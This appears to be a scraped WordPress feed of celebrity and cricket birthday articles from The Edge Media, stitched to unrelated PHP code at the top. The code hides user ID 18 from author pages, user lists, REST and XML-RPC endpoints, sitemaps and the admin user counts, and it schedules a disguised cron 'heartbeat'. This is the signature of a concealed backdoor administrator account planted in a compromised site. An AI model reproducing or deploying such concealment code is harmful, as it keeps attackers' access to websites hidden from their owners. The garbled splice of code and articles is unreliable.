add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post I miss hugging people and that’s what is my birthday wish : Manish Paul appeared first on The Edge Media.
]]>“I did a couple of shows recently, and everything has changed. The shows happen with chroma background, and the audience is not there. It’s a different game altogether. All the artistes have to get used to a new decorum and working style,” admits Paul, who turns 40 on August 3.
He shares how everyone was used to this “rush”, with so much happening all around, but now one needs to have a different mindset.
It has become quieter. Earlier, we’d have people chit-chatting, spot dada, light men, someone talking outside while shooting was going on inside. The energy on the set has definitely gone down,” says the actor, known for his hosting gigs.
Then there’s fear of the virus looming in everyone’s head every time. “We look at each other and want to give each other a hug. But we don’t. My vanity van used to be a mohalla, but now we’ve to take care, and now fewer people are around the vanity. We’re trying to cut the entourage. If we take care of all these things for some time, things will get better,” says Paul, who made his acting debut in 2013 with Mickey Virus.
Ask him what he misses the most, and he is quick to respond, “hugging people”. And that’s what is his birthday wish.
The post I miss hugging people and that’s what is my birthday wish : Manish Paul appeared first on The Edge Media.
]]>The post Here’s what Sonu Sood wishes on his birthday appeared first on The Edge Media.
]]>The actor, receiving love from people all across, was humbled to know about another temple being constructed for the actor in Andhra Pradesh.
Calling it a ‘huge thing’ and forever grateful for the love that he has received, Sonu said that he is humbled to see the love being showered by the people. The movement he started, helping people, doesn’t focus on one village or state; rather, it is pan India. Adding, Sonu said that he wants to continue to make it bigger. The actor who is set to start a new initiative revealed that his idea is to make education free of cost for everyone in this country in the coming years.
The Happy New Year actor, who turned 48 on July 30, has been looked upon as the messiah of all with his humanitarian work of sending migrant workers to their hometowns when the pandemic struck the country. The actor opened up about how he has been busy attending calls since morning. Elucidating on the same, he acknowledged the love of the people and shared that there are seven-eight people walking, some are on bicycles, and some on bikes, going all the way to Mumbai on his birthday. On his birthday, Sonu Sood wishes to have at least 1000-1500 free beds in hospitals, and ten times more scholarships for students by his next birthday.
The post Here’s what Sonu Sood wishes on his birthday appeared first on The Edge Media.
]]>The post Anil Kapoor took a trip down memory lane on Sonam’s birthday appeared first on The Edge Media.
]]>Anil Kapoor’s message to Sonam will indeed make you go aww: “To the girl who chases her dreams and follows her heart… Sonam, watching you grow everyday has been a dream come true as a parent. I surely got lucky with the best kids. You’re strong when you need to be, kind without fail and always evolving. You have a way of infusing a bit of you in everything and it’s one of my favourite things about you,” he wrote.
In his post, Anil Kapoor wrote that he missed them very much: “I’m so thankful that you and Anand are safe and healthy and we can’t wait to be with you again… Happy Birthday Sonam Beta! Love you and miss you!”

Sonam responded in the comments section: “Love you so, so much daddy. Miss you more than anything else.”
Anand also posted a few pictures with Sonam on her birthday and captioned them as, “I know how much you love wallpapers – well you’re the only wallpaper I need! Happy Birthday my forever wallpaper @sonamkapoor #EverydayPhenomenal.”

The post Anil Kapoor took a trip down memory lane on Sonam’s birthday appeared first on The Edge Media.
]]>The post Shilpa Shetty turns 46 today appeared first on The Edge Media.
]]>Malaika Arora shared a snap of herself and Shilpa and wrote, “Happy Birthday dear…love n happiness (sic).”

Sophie Choudry wrote, “Dearest Shilpa, happy happy birthday my darl! You continue to inspire me with your hard work, fitness, your positivity and your childlike excitement about life! Stay blessed always! Tons of love (sic).”

Raveena shared a collage of photos with the diva, and wished her happy birthday.

Madhuri Dixit too shared a photo with Shilpa and penned a loving note for her friend. “Happpy Birthday dear Shilpa. Sending you lots of positive energy and good wishes. Hope you and your folks are safe and keeping well now. Stay fit and fabulous (sic).”

Shilpa reshared most of the stories, here are some more pictures.




The post Shilpa Shetty turns 46 today appeared first on The Edge Media.
]]>The post The cricket fraternity wishes Ajinkya Rahane a very Happy Birthday appeared first on The Edge Media.
]]>India’s vice – captain Ajinkya Rahane turns a year older today. The cricket fraternity including Virender Sehwag, Virat Kohli, Suresh Raina, Rishabh Pant and many others took to Twitter to wish him a very happy birthday.
Virat Kohli wished Rahane, hoping to have many more partnerships with him. “Happy birthday Jinks, Lots of peace, happiness to you, and many more memorable partnerships with you,” the India skipper wrote while sharing a photo of him and Rahane on his Instagram story.

Here’s wishing @ajinkyarahane88 – #TeamIndia’s Test vice-captain – a very happy birthday,” wrote BCCI and posted a highlights video of Rahane’s knock of 115 against South Africa in 2019.

Suresh Raina tweeted – “Wish you a very Happy Birthday brother @ajinkyarahane88
Lots of love to you and your family. Best wishes.

“The Karate Kid in you was seen in Australia. After the 36 all out in Adelaide, the way you led from the front in a historic test series victory will always be etched in every Cricket lover’s memory. Happy Birthday @ajinkyarahane88
Kee May” wrote Virender Sehwag and posted a picture of Rahane’s childhood.

Rishabh Pant also wished him and tweeted “Wishing you tons of runs and happiness always, Happy birthday Ajju Bhai @ajinkyarahane88”

The post The cricket fraternity wishes Ajinkya Rahane a very Happy Birthday appeared first on The Edge Media.
]]>